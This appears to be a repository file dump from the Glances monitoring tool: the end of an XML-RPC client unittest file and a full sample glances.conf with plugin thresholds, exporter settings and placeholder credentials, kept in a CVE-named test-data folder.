json.loads(client.getPlugin('sensors'))\n        self.assertIsInstance(req, list)\n\n    def test_009_process(self):\n        \"\"\"PROCESS.\"\"\"\n        method = \"getProcessCount() and getProcessList()\"\n        print(f'INFO: [TEST_009] Method: {method}')\n\n        req = json.loads(client.getPlugin('processcount'))\n        self.assertIsInstance(req, dict)\n\n        req = json.loads(client.getPlugin('processlist'))\n        self.assertIsInstance(req, list)\n\n    def test_010_all_limits(self):\n        \"\"\"All limits.\"\"\"\n        method = \"getAllLimits()\"\n        print(f'INFO: [TEST_010] Method: {method}')\n\n        req = json.loads(client.getAllLimits())\n        self.assertIsInstance(req, dict)\n        self.assertIsInstance(req['cpu'], dict)\n\n    def test_011_all_views(self):\n        \"\"\"All views.\"\"\"\n        method = \"getAllViews()\"\n        print(f'INFO: [TEST_011] Method: {method}')\n\n        req = json.loads(client.getAllViews())\n        self.assertIsInstance(req, dict)\n        self.assertIsInstance(req['cpu'], dict)\n\n    def test_012_irq(self):\n        \"\"\"IRQS\"\"\"\n        method = \"getIrqs()\"\n        print(f'INFO: [TEST_012] Method: {method}')\n        req = json.loads(client.getPlugin('irq'))\n        self.assertIsInstance(req, list)\n\n    def test_013_plugin_views(self):\n        \"\"\"Plugin views.\"\"\"\n        method = \"getViewsCpu()\"\n        print(f'INFO: [TEST_013] Method: {method}')\n\n        req = json.loads(client.getPluginView('cpu'))\n        self.assertIsInstance(req, dict)\n\n    def test_999_stop_server(self):\n        \"\"\"Stop the Glances Web Server.\"\"\"\n        print('INFO: [TEST_999] Stop the Glances Server')\n        print(client.system.listMethods())\n\n        print(\"Stop the Glances Server\")\n        pid.terminate()\n        time.sleep(1)\n\n        self.assertTrue(True)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests-data/issues/CVE-2026-32633/glances.conf",
    "content": "##############################################################################\n# Globals Glances parameters\n##############################################################################\n\n[global]\n# Stats refresh rate (default is a minimum of 2 seconds)\n# Can be overwrite by the -t <sec> option\n# It is also possible to overwrite it in each plugin sections\nrefresh=2\n# Does Glances should check if a newer version is available on PyPI ?\ncheck_update=true\n# History size (maximum number of values)\n# Default is 1200 values (~1h with the default refresh rate)\nhistory_size=1200\n# Set the way Glances should display the date (default is %Y-%m-%d %H:%M:%S %Z)\n#strftime_format=%Y-%m-%d %H:%M:%S %Z\n# Define external directory for loading additional plugins\n# The layout follows the glances standard for plugin definitions\n#plugin_dir=/home/user/dev/plugins\n\n##############################################################################\n# User interface\n##############################################################################\n\n[outputs]\n# Options for all UIs\n#--------------------\n# Separator in the Curses and WebUI interface (between top and others plugins)\n#separator=True\n# Set the the Curses and WebUI interface left menu plugin list (comma-separated)\n#left_menu=network,wifi,connections,ports,diskio,fs,irq,folders,raid,smart,sensors,now\n# Limit the number of processes to display (in the WebUI)\n#max_processes_display=25\n#\n# Specifics options for TUI\n#--------------------------\n# Disable background color\n#disable_bg=True\n#\n# Specifics options for WebUI\n#----------------------------\n# Set URL prefix for the WebUI and the API\n# Example: url_prefix=/glances/ => http://localhost/glances/\n# Note: The final / is mandatory\n# Default is no prefix (/)\n#url_prefix=/glances/\n# Set root path for WebUI statics files\n# Why ? On Debian system, WebUI statics files are not provided.\n# You can download it in a specific folder\n# thanks to https://github.com/nicolargo/glances/issues/2021\n# then configure this folder with the webui_root_path key\n# Default is folder where glances_restful_api.py is hosted\n#webui_root_path=\n#\n# CORS options\n# Comma separated list of origins that should be permitted to make cross-origin requests.\n# Default is *\n#cors_origins=*\n# Indicate that cookies should be supported for cross-origin requests.\n# Default is True\n#cors_credentials=True\n# Comma separated list of HTTP methods that should be allowed for cross-origin requests.\n# Default is *\n#cors_methods=*\n# Comma separated list of HTTP request headers that should be supported for cross-origin requests.\n# Default is *\n#cors_headers=*\n#\n# Define SSL files (keyfile_password is optional)\n#ssl_keyfile_password=kfp\n#ssl_keyfile=./glances.local+3-key.pem\n#ssl_certfile=./glances.local+3.pem\n#\n# JWT Authentication settings\n# Secret key for signing JWT tokens (generate with: openssl rand -hex 32)\n# If not set, a random key is generated per server instance (tokens won't survive restart)\n#jwt_secret_key=your-secure-secret-key-here\n# Token expiration time in minutes (default: 60)\n#jwt_expire_minutes=60\n#\n# MCP\n# Overwrite the default MCP path\n#mcp_path=/mcp\n# Allowed Host headers for the MCP SSE endpoint (DNS rebinding protection).\n# Comma-separated list. Defaults to localhost,127.0.0.1 when not set.\n# Set to * to allow any host - use only behind a trusted reverse proxy.\n#mcp_allowed_hosts=localhost,127.0.0.1,myserver.example.com\n\n##############################################################################\n# Plugins\n##############################################################################\n\n[quicklook]\n# Set to true to disable a plugin\n# Note: you can also disable it from the command line (see --disable-plugin <plugin_name>)\ndisable=False\n# Stats list (default is cpu,mem,load)\n# Available stats are: cpu,mem,load,swap\nlist=cpu,mem,load\n# Graphical bar char used in the terminal user interface (default is |)\nbar_char=▪\n# Define CPU, MEM and SWAP thresholds in %\ncpu_careful=50\ncpu_warning=70\ncpu_critical=90\nmem_careful=50\nmem_warning=70\nmem_critical=90\nswap_careful=50\nswap_warning=70\nswap_critical=90\n# Source: http://blog.scoutapp.com/articles/2009/07/31/understanding-load-averages\n# With 1 CPU core, the load should be lower than 1.00 ~ 100%\nload_careful=70\nload_warning=100\nload_critical=500\n\n[system]\n# This plugin display the first line in the Glances UI with:\n# Hostname / Operating system name / Architecture information\n# Set to true to disable a plugin\ndisable=False\n# Default refresh rate is 60 seconds\n#refresh=60\n# System information to display (a string where {key} will be replaced by the value)\n# Available information are: hostname, os_name, os_version, os_arch, linux_distro, platform\n#system_info_msg= | My {os_name} system |\n\n[cpu]\ndisable=False\n# See https://scoutapm.com/blog/slow_server_flow_chart\n#\n# I/O wait percentage should be lower than 1/# (# = Logical CPU cores)\n# Leave commented to just use the default config:\n# Careful=1/#*100-20% / Warning=1/#*100-10% / Critical=1/#*100\n#iowait_careful=30\n#iowait_warning=40\n#iowait_critical=50\n#\n# Total % is 100 - idle\ntotal_careful=65\ntotal_warning=75\ntotal_critical=85\ntotal_log=True\n#\n# Default values if not defined: 50/70/90 (except for iowait)\nuser_careful=50\nuser_warning=70\nuser_critical=90\nuser_log=False\n#user_critical_action=echo \"{{time}} User CPU {{user}} higher than {{critical}}\" > /tmp/cpu.alert\n#\nsystem_careful=50\nsystem_warning=70\nsystem_critical=90\nsystem_log=False\n#\nsteal_careful=50\nsteal_warning=70\nsteal_critical=90\n#steal_log=True\n#\n# Context switch limit (core / second)\n# Leave commented to just use the default config critical is 50000*(Logical CPU cores)\n#ctx_switches_careful=10000\n#ctx_switches_warning=12000\n#ctx_switches_critical=14000\n\n[percpu]\ndisable=False\n# Define the maximum number of CPU displayed at a time\n# If the number of CPU is higher than the one configured in max_cpu_display then:\n# - display top 'max_cpu_display' (sorted by CPU consumption)\n# - a last line will be added with the mean of all other CPUs\nmax_cpu_display=4\n# Define CPU thresholds in %\n# Default values if not defined: 50/70/90\nuser_careful=50\nuser_warning=70\nuser_critical=90\niowait_careful=50\niowait_warning=70\niowait_critical=90\nsystem_careful=50\nsystem_warning=70\nsystem_critical=90\n\n[gpu]\ndisable=False\n# Default GPU load thresholds in %\nproc_careful=50\nproc_warning=70\nproc_critical=90\n# Default GPU memory thresholds in %\nmem_careful=50\nmem_warning=70\nmem_critical=90\n# Default GPU temperature thresholds in degrees Celsus\ntemperature_careful=60\ntemperature_warning=70\ntemperature_critical=80\n\n[npu]\ndisable=True\n# Default NPU load thresholds in %\nload_careful=50\nload_warning=70\nload_critical=90\n# Default NPU frequency thresholds in %\nfreq_careful=50\nfreq_warning=70\nfreq_critical=90\n\n[mem]\ndisable=False\n# Display available memory instead of used memory\n#available=True\n# Define RAM thresholds in %\n# Default values if not defined: 50/70/90\ncareful=50\nwarning=70\ncritical=90\n#critical_action_repeat=echo \"{{time}} {{percent}} higher than {{critical}}\"\" >> /tmp/memory.alert\n\n[memswap]\ndisable=False\n# Define SWAP thresholds in %\n# Default values if not defined: 50/70/90\ncareful=50\nwarning=70\ncritical=90\n#warning_action=echo \"{{time}} {{percent}} higher than {{warning}}\"\" > /tmp/memory.alert\n\n[load]\ndisable=False\n# Define LOAD thresholds\n# Value * number of cores\n# Default values if not defined: 0.7/1.0/5.0 per number of cores\n# Source: http://blog.scoutapp.com/articles/2009/07/31/understanding-load-averages\n#         http://www.linuxjournal.com/article/9001\ncareful=0.7\nwarning=1.0\ncritical=5.0\n#log=False\n\n[network]\ndisable=False\n# Default bitrate thresholds in % of the network interface speed\n# Default values if not defined: 70/80/90\nrx_careful=70\nrx_warning=80\nrx_critical=90\ntx_careful=70\ntx_warning=80\ntx_critical=90\n# Define the list of hidden network interfaces (comma-separated regexp)\nhide=docker.*,lo\n# Define the list of wireless network interfaces to be show (comma-separated)\n#show=docker.*\n# Automatically hide interface not up (default is False)\nhide_no_up=True\n# Automatically hide interface with no IP address (default is False)\nhide_no_ip=True\n# Set hide_zero to True to automatically hide interface with no traffic\nhide_zero=False\n# Set hide_threshold_bytes to an integer value to automatically hide\n# interface with traffic less or equal than this value\n#hide_threshold_bytes=0\n# It is possible to overwrite the bitrate thresholds per interface\n# WLAN 0 Default limits (in bits per second aka bps) for interface bitrate\n#wlan0_rx_careful=4000000\n#wlan0_rx_warning=5000000\n#wlan0_rx_critical=6000000\n#wlan0_rx_log=True\n#wlan0_tx_careful=700000\n#wlan0_tx_warning=900000\n#wlan0_tx_critical=1000000\n#wlan0_tx_log=True\n#wlan0_rx_critical_action=echo \"{{time}} {{interface_name}} RX {{bytes_recv_rate_per_sec}}Bps\" > /tmp/network.alert\n# Alias for network interface name\n#alias=wlp0s20f3:WIFI\n\n[ip]\n# Disable display of private IP address\ndisable=False\n# Configure the online service where public IP address information will be downloaded\n# - public_disabled: Disable public IP address information (set to True for offline platform)\n# - public_refresh_interval: Refresh interval between to calls to the online service\n# - public_api: URL of the API (the API should return an JSON object)\n# - public_username: Login for the online service (if needed)\n# - public_password: Password for the online service (if needed)\n# - public_field: Field name of the public IP address in onlibe service JSON message\n# - public_template: Template to build the public message\n#\n# Example for IPLeak service:\n# public_api=https://ipv4.ipleak.net/json/\n# public_field=ip\n# public_template={ip} {continent_name}/{country_name}/{city_name}\n#\npublic_disabled=True\npublic_refresh_interval=300\npublic_api=https://ipv4.ipleak.net/json/\n#public_username=<myname>\n#public_password=<mysecret>\npublic_field=ip\npublic_template={continent_name}/{country_name}/{city_name}\n\n[connections]\n# Display additional information about TCP connections\n# This plugin is disabled by default because it consumes lots of CPU\ndisable=True\n# nf_conntrack thresholds in %\nnf_conntrack_percent_careful=70\nnf_conntrack_percent_warning=80\nnf_conntrack_percent_critical=90\n\n[wifi]\ndisable=False\n# Define SIGNAL thresholds in dBm (lower is better...)\n# Based on: http://serverfault.com/questions/501025/industry-standard-for-minimum-wifi-signal-strength\ncareful=-65\nwarning=-75\ncritical=-85\n\n[diskio]\ndisable=False\n# Define the list of hidden disks (comma-separated regexp)\n#hide=sda2,sda5,loop.*\nhide=loop.*,/dev/loop.*\n# Set hide_zero to True to automatically hide disk with no read/write\nhide_zero=False\n# Set hide_threshold_bytes to an integer value to automatically hide\n# interface with traffic less or equal than this value\n#hide_threshold_bytes=0\n# Define the list of disks to be show (comma-separated)\n#show=sda.*\n# Alias for sda1 and sdb1\n#alias=sda1:SystemDisk,sdb1:DataDisk\n# Default latency thresholds (in ms) (rx = read / tx = write)\nrx_latency_careful=10\nrx_latency_warning=20\nrx_latency_critical=50\ntx_latency_careful=10\ntx_latency_warning=20\ntx_latency_critical=50\n# Set latency thresholds (latency in ms) for a given disk name (rx = read / tx = write)\n# dm-0_rx_latency_careful=10\n# dm-0_rx_latency_warning=20\n# dm-0_rx_latency_critical=50\n# dm-0_rx_latency_log=False\n# dm-0_tx_latency_careful=10\n# dm-0_tx_latency_warning=20\n# dm-0_tx_latency_critical=50\n# dm-0_tx_latency_log=False\n# There is no default bitrate thresholds for disk (because it is not possible to know the disk speed)\n# Set bitrate thresholds (in bytes per second) for a given disk name (rx = read / tx = write)\n#dm-0_rx_careful=4000000000\n#dm-0_rx_warning=5000000000\n#dm-0_rx_critical=6000000000\n#dm-0_rx_log=False\n#dm-0_tx_careful=700000000\n#dm-0_tx_warning=900000000\n#dm-0_tx_critical=1000000000\n#dm-0_tx_log=False\n\n[fs]\ndisable=False\n# Define the list of file system to hide (comma-separated regexp)\nhide=/boot.*,.*/snap.*\n# Define the list of file system to show (comma-separated regexp)\n#show=/,/srv\n# Define filesystem space thresholds in %\n# Default values if not defined: 50/70/90\ncareful=50\nwarning=70\ncritical=90\n# It is also possible to define per mount point value\n# Example: /_careful=40\n#/_careful=1\n#/_warning=5\n#/_critical=10\n#/_critical_action=echo \"{{time}} {{mnt_point}} filesystem space {{percent}}% higher than {{critical}}%\" > /tmp/fs.alert\n# Allow additional file system types (comma-separated FS type)\n#allow=shm\n# Alias for root file system\n#alias=/:Root,/zfspool:ZFS\n\n[irq]\n# Documentation: https://glances.readthedocs.io/en/latest/aoa/irq.html\n# This plugin is disabled by default\ndisable=True\n\n[folders]\n# Documentation: https://glances.readthedocs.io/en/latest/aoa/folders.html\ndisable=False\n# Define a folder list to monitor\n# The list is composed of items (list_#nb <= 10)\n# An item is defined by:\n# * path: absolute path\n# * careful: optional careful threshold (in MB)\n# * warning: optional warning threshold (in MB)\n# * critical: optional critical threshold (in MB)\n# * refresh: interval in second between two refreshes\n#folder_1_path=/tmp\n#folder_1_careful=2500\n#folder_1_warning=3000\n#folder_1_critical=3500\n#folder_1_refresh=60\n#folder_2_path=/home/nicolargo/Videos\n#folder_2_warning=17000\n#folder_2_critical=20000\n#folder_3_path=/nonexisting\n#folder_4_path=/root\n\n[cloud]\n# Documentation: https://glances.readthedocs.io/en/latest/aoa/cloud.html\n# This plugin is disabled by default\ndisable=True\n\n[raid]\n# Documentation: https://glances.readthedocs.io/en/latest/aoa/raid.html\n# This plugin is disabled by default\ndisable=True\n\n[smart]\n# Documentation: https://glances.readthedocs.io/en/latest/aoa/smart.html\n# This plugin is disabled by default\ndisable=True\n# Define the list of sensors to hide (comma-separated regexp)\n#hide=.*Hide_this_driver.*\n# Define the list of sensors to show (comma-separated regexp)\n#show=.*Drive_Temperature.*\n# List of attributes to hide (comma separated)\n#hide_attributes=Self-tests,Errors\n\n[hddtemp]\ndisable=False\n# Define hddtemp server IP and port (default is 127.0.0.1 and 7634 (TCP))\nhost=127.0.0.1\nport=7634\n\n[sensors]\n# Documentation: https://glances.readthedocs.io/en/latest/aoa/sensors.html\ndisable=False\n# Set the refresh multiplicator for the sensors\n# By default refresh every Glances refresh * 5 (increase to reduce CPU consumption)\n#refresh=5\n# Hide some sensors (comma separated list of regexp)\nhide=unknown.*\n# Show only the following sensors (comma separated list of regexp)\n#show=CPU.*\n# Sensors core thresholds (in Celsius...)\n# By default values are grabbed from the system\n# Overwrite thresholds for a specific sensor\n# temperature_core_Ambient_careful=40\n# temperature_core_Ambient_warning=60\n# temperature_core_Ambient_critical=85\n# temperature_core_Ambient_log=True\n# temperature_core_Ambient_critical_action=echo \"{{time}} {{label}} temperature {{value}}{{unit}} higher than {{critical}}{{unit}}\" > /tmp/temperature.alert\n# Overwrite thresholds for a specific type of sensor\n#temperature_core_careful=45\n#temperature_core_warning=65\n#temperature_core_critical=80\n# Temperatures threshold in °C for hddtemp\n# Default values if not defined: 45/52/60\n#temperature_hdd_careful=45\n#temperature_hdd_warning=52\n#temperature_hdd_critical=60\n# Battery threshold in %\n# Default values if not defined: 70/80/90\n#battery_careful=70\n#battery_warning=80\n#battery_critical=90\n# Fan speed threshold in RPM\n#fan_speed_careful=100\n# Sensors alias\n#alias=core 0:CPU Core 0,core 1:CPU Core 1\n\n[processcount]\ndisable=False\n# If you want to change the refresh rate of the processing list, please uncomment:\n#refresh=10\n\n[processlist]\ndisable=False\n# Sort key: if not defined, the sort is automatically done by Glances (recommended)\n# Should be one of the following:\n# cpu_percent, memory_percent, io_counters, name, cpu_times, username\n#sort_key=memory_percent\n# List of stats to disable (not grabed and not display)\n# Stats that can be disabled: cpu_percent,memory_info,memory_percent,username,cpu_times,num_threads,nice,status,io_counters,cmdline,cpu_num\n# Stats that can not be disable: pid,name\ndisable_stats=cpu_num\n# Disable display of virtual memory\n#disable_virtual_memory=True\n# Define CPU/MEM (per process) thresholds in %\n# Default values if not defined: 50/70/90\ncpu_careful=50\ncpu_warning=70\ncpu_critical=90\nmem_careful=50\nmem_warning=70\nmem_critical=90\n#\n# Nice priorities range from -20 to 19.\n# Configure nice levels using a comma-separated list.\n#\n# Nice: Example 1, non-zero is warning (default behavior)\nnice_warning=-20,-19,-18,-17,-16,-15,-14,-13,-12,-11,-10,-9,-8,-7,-6,-5,-4,-3,-2,-1,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19\n#\n# Nice: Example 2, low priority processes escalate from careful to critical\n#nice_ok=O\n#nice_careful=1,2,3,4,5,6,7,8,9\n#nice_warning=10,11,12,13,14\n#nice_critical=15,16,17,18,19\n#\n# Status: define threshold regarding the process status (first letter of process status)\n# R: Running, S: Sleeping, Z: Zombie (complete list here https://psutil.readthedocs.io/en/latest/#process-status-constants)\nstatus_ok=R,W,P,I\nstatus_critical=Z,D\n# Define the list of processes to export using:\n# a comma-separated list of Glances filter\n#export=.*firefox.*,pid:1234\n# Define a list of process to focus on (comma-separated list of Glances filter)\n#focus=.*firefox.*,.*python.*\n\n[ports]\ndisable=False\n# Interval in second between two scans\n# Ports scanner plugin configuration\nrefresh=30\n# Set the default timeout (in second) for a scan (can be overwritten in the scan list)\ntimeout=3\n# If port_default_gateway is True, add the default gateway on top of the scan list\nport_default_gateway=True\n#\n# Define the scan list (1 < x < 255)\n# port_x_host (name or IP) is mandatory\n# port_x_port (TCP port number) is optional (if not set, use ICMP)\n# port_x_description is optional (if not set, define to host:port)\n# port_x_timeout is optional and overwrite the default timeout value\n# port_x_rtt_warning is optional and defines the warning threshold in ms\n#\n#port_1_host=192.168.0.1\n#port_1_port=80\n#port_1_description=Home Box\n#port_1_timeout=1\n#port_2_host=www.free.fr\n#port_2_description=My ISP\n#port_3_host=www.google.com\n#port_3_description=Internet ICMP\n#port_3_rtt_warning=1000\n#port_4_description=Internet Web\n#port_4_host=www.google.com\n#port_4_port=80\n#port_4_rtt_warning=1000\n#\n# Define Web (URL) monitoring list (1 < x < 255)\n# web_x_url is the URL to monitor (example: http://my.site.com/folder)\n# web_x_description is optional (if not set, define to URL)\n# web_x_timeout is optional and overwrite the default timeout value\n# web_x_rtt_warning is optional and defines the warning respond time in ms (approximately)\n#\n#web_1_url=https://blog.nicolargo.com\n#web_1_description=My Blog\n#web_1_rtt_warning=3000\n#web_2_url=https://github.com\n#web_3_url=http://www.google.fr\n#web_3_description=Google Fr\n#web_4_url=https://blog.nicolargo.com/nonexist\n#web_4_description=Intranet\n\n[vms]\ndisable=True\n# Define the maximum VMs size name (default is 20 chars)\nmax_name_size=20\n# By default, Glances only display running VMs with states:\n# 'Running', 'Paused', 'Starting' or 'Restarting'\n# Set the following key to True to display all VMs regarding their states\nall=False\n\n[containers]\ndisable=False\n# Only show specific containers (comma-separated list of container name or regular expression)\n# Comment this line to display all containers (default configuration)\n; show=telegraf\n# Hide some containers (comma-separated list of container name or regular expression)\n# Comment this line to display all containers (default configuration)\n; hide=telegraf\n# Define the maximum docker size name (default is 20 chars)\nmax_name_size=20\n# List of stats to disable (not display)\n# Following stats can be disabled: name,status,uptime,cpu,mem,diskio,networkio,ports,command\ndisable_stats=command\n# Thresholds for CPU and MEM (in %)\n; cpu_careful=50\n; cpu_warning=70\n; cpu_critical=90\n; mem_careful=20\n; mem_warning=50\n; mem_critical=70\n#\n# Per container thresholds\n; containername_cpu_careful=10\n; containername_cpu_warning=20\n; containername_cpu_critical=30\n#\n# By default, Glances only display running containers\n# Set the following key to True to display all containers\nall=False\n# Define Podman sock\n; podman_sock=unix:///run/user/1000/podman/podman.sock\n\n[amps]\n# AMPs configuration are defined in the bottom of this file\ndisable=False\n\n[alert]\ndisable=False\n# Maximum number of events to display (default is 10 events)\n;max_events=10\n# Minimum duration for an event to be taken into account (default is 6 seconds)\n;min_duration=6\n# Minimum time between two events of the same type (default is 6 seconds)\n# This is used to avoid too many alerts for the same event\n# Events will be merged\n;min_interval=6\n\n##############################################################################\n# Browser mode - Static servers definition\n##############################################################################\n\n[serverlist]\n# Define columns (comma separated list of <plugin>:<field>:(<key>)) to grab/display\n# Default is: system:hr_name,load:min5,cpu:total,mem:percent\n# You can also add stats with key, like sensors:value:Ambient (key is case sensitive)\n#columns=system:hr_name,load:min5,cpu:total,mem:percent,memswap:percent,sensors:value:Ambient,sensors:value:Composite\n# Define the static servers list\n# _protocol can be: rpc (default if not defined) or rest\n# List is limited to 256 servers max (1 to 256)\nserver_1_name=localhost\nserver_1_alias=Local WebUI\nserver_1_port=61266\nserver_1_protocol=rest\nserver_2_name=localhost\nserver_2_alias=My local PC\nserver_2_port=61209\nserver_2_protocol=rpc\nserver_3_name=192.168.0.17\nserver_3_alias=Another PC on my network\nserver_3_port=61209\nserver_3_protocol=rpc\nserver_4_name=notagooddefinition\nserver_4_port=61237\n\n[passwords]\n# Define the passwords list related to the [serverlist] section\n# Syntax: host=password\n# Where: host is the hostname\n#        password is the clear password\n# Additionally (and optionally) a default password could be defined\nlocalhost=abc\ndefault=defaultpassword\n#\n# Define the path of the local '.pwd' file (default is system one)\n#local_password_path=~/.config/glances\n\n##############################################################################\n# Exports\n##############################################################################\n\n[export]\n# Common section for all exporters\n# Do not export following fields (comma separated list of regex)\n#exclude_fields=.*_critical,.*_careful,.*_warning,.*\\.key$\n\n[graph]\n# Configuration for the --export graph option\n# Set the path where the graph (.svg files) will be created\n# Can be overwrite by the --graph-path command line option\npath=/tmp/glances\n# It is possible to generate the graphs automatically by setting the\n# generate_every to a non zero value corresponding to the seconds between\n# two generation. Set it to 0 to disable graph auto generation.\ngenerate_every=0\n# See following configuration keys definitions in the Pygal lib documentation\n# http://pygal.org/en/stable/documentation/index.html\nwidth=800\nheight=600\nstyle=DarkStyle\n\n[influxdb]\n# !!!\n# Will be DEPRECATED in future release.\n# Please have a look on the new influxdb3 export module\n# !!!\n# Configuration for the --export influxdb option\n# https://influxdb.com/\nhost=localhost\nport=8086\nprotocol=http\nuser=root\npassword=root\ndb=glances\n# Prefix will be added for all measurement name\n# Ex: prefix=foo\n#     => foo.cpu\n#     => foo.mem\n# You can also use dynamic values\n#prefix=foo\n# Following tags will be added for all measurements\n# You can also use dynamic values.\n# Note: hostname and name (for process) are always added as a tag\n#tags=foo:bar,spam:eggs,domain:`domainname`\n\n[influxdb2]\n# Configuration for the --export influxdb2 option\n# https://influxdb.com/\nhost=localhost\nport=8086\nprotocol=http\norg=nicolargo\nbucket=glances\ntoken=PUT_YOUR_INFLUXDB2_TOKEN_HERE\n# Set the interval between two exports (in seconds)\n# If the interval is set to 0, the Glances refresh time is used (default behavor)\n#interval=0\n# Prefix will be added for all measurement name\n# Ex: prefix=foo\n#     => foo.cpu\n#     => foo.mem\n# You can also use dynamic values\n#prefix=foo\n# Following tags will be added for all measurements\n# You can also use dynamic values.\n# Note: hostname and name (for process) are always added as a tag\n#tags=foo:bar,spam:eggs,domain:`domainname`\n\n[influxdb3]\n# Configuration for the --export influxdb3 option\n# https://influxdb.com/\nhost=http://localhost:8181\norg=nicolargo\ndatabase=glances\ntoken=PUT_YOUR_INFLUXDB3_TOKEN_HERE\n# Set the interval between two exports (in seconds)\n# If the interval is set to 0, the Glances refresh time is used (default behavor)\n#interval=0\n# Prefix will be added for all measurement name\n# Ex: prefix=foo\n#     => foo.cpu\n#     => foo.mem\n# You can also use dynamic values\n#prefix=foo\n# Following tags will be added for all measurements\n# You can also use dynamic values.\n# Note: hostname and name (for process) are always added as a tag\n#tags=foo:bar,spam:eggs,domain:`domainname`\n\n[cassandra]\n# Configuration for the --export cassandra option\n# Also works for the ScyllaDB\n# https://influxdb.com/ or http://www.scylladb.com/\nhost=localhost\nport=9042\nprotocol_version=3\nkeyspace=glances\nreplication_factor=2\n# If not define, table name is set to host key\ntable=localhost\n# If not define, username and password will not be used\n#username=cassandra\n#password=password\n\n[opentsdb]\n# Configuration for the --export opentsdb option\n# http://opentsdb.net/\nhost=localhost\nport=4242\n#prefix=glances\n#tags=foo:bar,spam:eggs\n\n[statsd]\n# Configuration for the --export statsd option\n# https://github.com/etsy/statsd\nhost=localhost\nport=8125\n#prefix=glances\n\n[elasticsearch]\n# Configuration for the --export elasticsearch option\n# Data are available via the ES RESTful API. ex: URL/<index>/cpu\n# https://www.elastic.co\nscheme=http\nhost=localhost\nport=9200\nindex=glances\n\n[riemann]\n# Configuration for the --export riemann option\n# http://riemann.io\nhost=localhost\nport=5555\n\n[rabbitmq]\n# Configuration for the --export rabbitmq option\nhost=localhost\nport=5672\nuser=guest\npassword=guest\nqueue=glances_queue\n#protocol=amqps\n\n[mqtt]\n# Configuration for the --export mqtt option\nhost=localhost\n# Overwrite device name in the topic\n#devicename=localhost\nport=8883\ntls=false\nuser=guest\npassword=guest\ntopic=glances\ntopic_structure=per-metric\ncallback_api_version=2\n\n[couchdb]\n# Configuration for the --export couchdb option\n# https://www.couchdb.org\nhost=localhost\nport=5984\ndb=glances\nuser=admin\npassword=admin\n\n[mongodb]\n# Configuration for the --export mongodb option\n# https://www.mongodb.com\nhost=localhost\nport=27017\ndb=glances\nuser=root\npassword=example\n\n[kafka]\n# Configuration for the --export kafka option\n# http://kafka.apache.org/\nhost=localhost\nport=9092\ntopic=glances\n#compression=gzip\n# Tags will be added for all events\n#tags=foo:bar,spam:eggs\n# You can also use dynamic values\n#tags=hostname:`hostname -f`\n\n[zeromq]\n# Configuration for the --export zeromq option\n# http://www.zeromq.org\n# Use * to bind on all interfaces\nhost=*\nport=5678\n# Glances envelopes the stats in a publish message with two frames:\n# - First frame containing the following prefix (STRING)\n# - Second frame with the Glances plugin name (STRING)\n# - Third frame with the Glances plugin stats (JSON)\nprefix=G\n\n[prometheus]\n# Configuration for the --export prometheus option\n# https://prometheus.io\n# Create a Prometheus exporter listening on localhost:9091 (default configuration)\n# Metric are exporter using the following name:\n#   <prefix>_<plugin>_<stats>{labelkey:labelvalue}\n# Note: You should add this exporter to your Prometheus server configuration:\n#   scrape_configs:\n#    - job_name: 'glances_exporter'\n#      scrape_interval: 5s\n#      static_configs:\n#        - targets: ['localhost:9091']\n#\n# Labels will be added for all measurements (default is src:glances)\n#  labels=foo:bar,spam:eggs\n# You can also use dynamic values\n#  labels=system:`uname -s`\n#\nhost=localhost\nport=9091\n#prefix=glances\nlabels=src:glances\n\n[restful]\n# Configuration for the --export restful option\n# Example, export to http://localhost:6789/\nhost=localhost\nport=6789\nprotocol=http\npath=/\n\n[graphite]\n# Configuration for the --export graphite option\n# https://graphiteapp.org/\nhost=localhost\nport=2003\n# Prefix will be added for all measurement name\nprefix=glances\n# System name added between the prefix and the stats\n# By default, system_name = FQDN\n#system_name=mycomputer\n\n[timescaledb]\n# Configuration for the --export timescaledb option\n# https://www.timescale.com/\nhost=localhost\nport=5432\ndb=glances\nuser=postgres\npassword=password\n# Overwrite device name (default is the FQDN)\n# Most of the time, you should not overwrite this value\n#hostname=mycomputer\n\n[nats]\n# Configuration for the --export nats option\n# https://nats.io/\n# Host is a separated list of NATS nodes\nhost=nats://localhost:4222\n# Prefix for the subjects (default is 'glances')\nprefix=glances\n\n##############################################################################\n# AMPS\n# * enable: Enable (true) or disable (false) the AMP\n# * regex: Regular expression to filter the process(es)\n# * refresh: The AMP is executed every refresh seconds\n# * one_line: (optional) Force (if true) the AMP to be displayed in one line\n# * command: (optional) command to execute when the process is detected (thk to the regex)\n# * countmin: (optional) minimal number of processes\n#             A warning will be displayed if number of process < count\n# * countmax: (optional) maximum number of processes\n#             A warning will be displayed if number of process > count\n# * <foo>: Others variables can be defined and used in the AMP script\n##############################################################################\n\n[amp_dropbox]\n# Use the default AMP (no dedicated AMP Python script)\n# Check if the Dropbox daemon is running\n# Every 3 seconds, display the 'dropbox status' command line\nenable=false\nregex=.*dropbox.*\nrefresh=3\none_line=false\ncommand=dropbox status\ncountmin=1\n\n[amp_python]\n# Use the default AMP (no dedicated AMP Python script)\n# Monitor all the Python scripts\n# Alert if more than 20 Python scripts are running\nenable=false\nregex=.*python.*\nrefresh=3\ncountmax=20\n\n[amp_conntrack]\n# Use && separator for multiple commands\n# If the regex key is not defined, the AMP will be executed every refresh second\n# and the process count will not be displayed (countmin and countmax will be ignore)\nenable=false\nrefresh=30\none_line=false\ncommand=sysctl net.netfilter.nf_conntrack_count && sysctl net.netfilter.nf_conntrack_max\n\n[amp_nginx]\n# Use the NGinx AMP\n# Nginx status page should be enable (https://easyengine.io/tutorials/nginx/status-page/)\nenable=false\nregex=\\/usr\\/sbin\\/nginx\nrefresh=60\none_line=false\nstatus_url=http://localhost/nginx_status\n\n[amp_systemd]\n# Use the Systemd AMP\nenable=false\nregex=\\/lib\\/systemd\\/systemd\nrefresh=30\none_line=true\nsystemctl_cmd=/bin/systemctl --plain\n\n[amp_systemv]\n# Use the Systemv AMP\nenable=false\nregex=\\/sbin\\/init\nrefresh=30\none_line=true\nservice_cmd=/usr/bin/service --status-all\n"
  },
  {
    "path": "tests-data/issues/issue2849.py",
